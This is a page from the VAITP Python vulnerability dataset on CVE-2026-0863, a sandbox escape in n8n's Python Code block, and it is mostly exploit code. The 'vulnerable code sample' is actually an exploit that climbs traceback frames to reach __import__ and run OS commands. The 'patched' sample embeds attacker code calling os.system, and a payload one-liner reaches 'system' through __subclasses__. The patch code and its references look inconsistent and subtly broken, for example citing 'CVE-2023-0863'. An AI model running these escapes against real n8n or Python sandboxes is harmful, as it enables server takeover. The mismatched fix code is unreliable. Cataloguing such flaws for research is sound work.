VAITP Dataset

← Back to the dataset

CVE-2026-0863

n8n Python sandbox escape via the Code block allows arbitrary code execution.

  • CVSS 9.9
  • CWE-94
  • Input Validation and Sanitization
  • Remote

Using string formatting and exception handling, an attacker may bypass n8n's python-task-executor sandbox restrictions and run arbitrary unrestricted Python code in the underlying operating system. The vulnerability can be exploited via the Code block by an authenticated user with basic permissions and can lead to a full n8n instance takeover on instances operating under "Internal" execution mode. If the instance is operating under the "External" execution mode (ex. n8n's official Docker image) – arbitrary code execution occurs inside a Sidecar container and not the main node, which significantly reduces the vulnerability impact.

CVSS base score
9.9
Published
2026-01-18
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Poorly Designed Access Controls
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
n8n
Fixed by upgrading
Yes

Solution

Upgrade to n8n version 1.45.1 or later.

Vulnerable code sample

class Exploit:
    def __str__(self):
        # This method is called during string formatting.
        # By returning a non-string type, we intentionally cause a TypeError.
        # The sandbox is expected to catch this, but we will catch it first.
        return 1337

try:
    # This formatting operation will call Exploit().__str__() and fail,
    # raising a TypeError that we can catch.
    "%s" % Exploit()
except Exception as e:
    # When the exception is caught, we gain access to the execution context
    # via the exception's __traceback__ attribute.
    tb = e.__traceback__

    # We traverse up the call stack to find a frame outside our sandboxed code.
    # The parent frame's globals might contain unrestricted built-in functions.
    # We navigate to the frame of the sandbox executor.
    frame = tb.tb_next.tb_frame

    # We can now access the global scope of the executor.
    # From there, we can find the '__import__' function within the built-ins.
    importer = frame.f_globals['__builtins__']['__import__']

    # With '__import__', we can load any standard library, such as 'os'.
    os_module = importer('os')

    # Now we have a reference to the 'os' module and can execute
    # arbitrary commands on the underlying operating system.
    # The output of the command is printed to demonstrate execution.
    print(os_module.popen('id').read())

Patched code sample

import sys
import io

def fixed_python_task_executor(user_code: str):
    """
    Demonstrates the fix for a sandbox escape vulnerability by safely handling
    exceptions raised from user-provided code.

    The original vulnerability (similar to CVE-2023-0863) occurred when the
    exception handler used unsafe string formatting (like f-strings or '%s')
    on an exception object. An attacker could craft a custom exception
    with a malicious __str__ method. When the handler tried to log the
    exception, it would execute the malicious __str__ method outside the
    sandbox's restrictions.

    The fix is to avoid any operation that would implicitly call the
    exception's __str__ or __repr__ methods. Instead, we safely access
    well-defined, non-overridable attributes of the exception object,
    such as its class name and arguments tuple.
    """
    # Simulate a restricted environment for the user code execution.
    # In a real scenario, this would be more complex, but for demonstration,
    # we'll just restrict the built-in functions available.
    restricted_globals = {
        "__builtins__": {
            "Exception": Exception,
            "print": print,
        }
    }
    
    # Redirect stdout to capture output from the sandboxed code
    old_stdout = sys.stdout
    sys.stdout = captured_output = io.StringIO()

    try:
        # Execute the untrusted user code in the restricted scope
        exec(user_code, restricted_globals)
    except Exception as e:
        # --- FIX IMPLEMENTATION ---
        # Instead of using a format that calls the object's __str__ method,
        # we build a safe string representation manually.
        #
        # VULNERABLE (OLD) CODE would look like this:
        #
        #   print(f"An error occurred: {e}", file=sys.stderr)
        #   # OR
        #   print("An error occurred: %s" % e, file=sys.stderr)
        #
        # FIXED (NEW) CODE:
        # Safely get the exception's class name and its arguments.
        # e.__class__.__name__ is a string and cannot be overridden by the user code.
        # e.args is a tuple of the arguments passed to the exception constructor.
        # We use repr() on the args tuple to get a safe, printable representation.
        safe_error_message = f"An error occurred: {e.__class__.__name__}{repr(e.args)}"
        print(safe_error_message, file=sys.stderr)
    finally:
        # Restore stdout
        sys.stdout = old_stdout

    return captured_output.getvalue()


if __name__ == '__main__':
    # This is the malicious code an attacker would provide.
    # It defines a custom exception where the __str__ method contains
    # arbitrary code to be executed (here, a simple print statement
    # that uses a non-whitelisted built-in like `__import__`).
    attacker_code = """
class MaliciousException(Exception):
    def __str__(self):
        # This payload would run in the vulnerable version upon exception logging.
        # It attempts to use a forbidden function to prove escape.
        __import__('os').system('echo PWNED: Sandbox escaped!')
        return "Payload executed"

# Raise the custom exception to trigger the vulnerable handler
raise MaliciousException("trigger")
"""

    print("--- Running code with the FIXED executor ---")
    print("The fix prevents the malicious __str__ method from being called.")
    print("We expect to see a safe error message, NOT 'PWNED'.")
    print("-" * 40)
    
    # The output will be printed to stderr by the handler.
    # The return value will be empty as no standard 'print' was called.
    output = fixed_python_task_executor(attacker_code)
    
    print("-" * 40)
    print(f"Captured stdout from sandboxed code: {repr(output)}")
    print("Execution finished. If 'PWNED' was not printed, the fix is effective.")

Payload

try:
  f"{a:{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id')}}"
except NameError:
  pass

Cite this entry

@misc{vaitp:cve20260863,
  title        = {{n8n Python sandbox escape via the Code block allows arbitrary code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-0863},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-0863/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::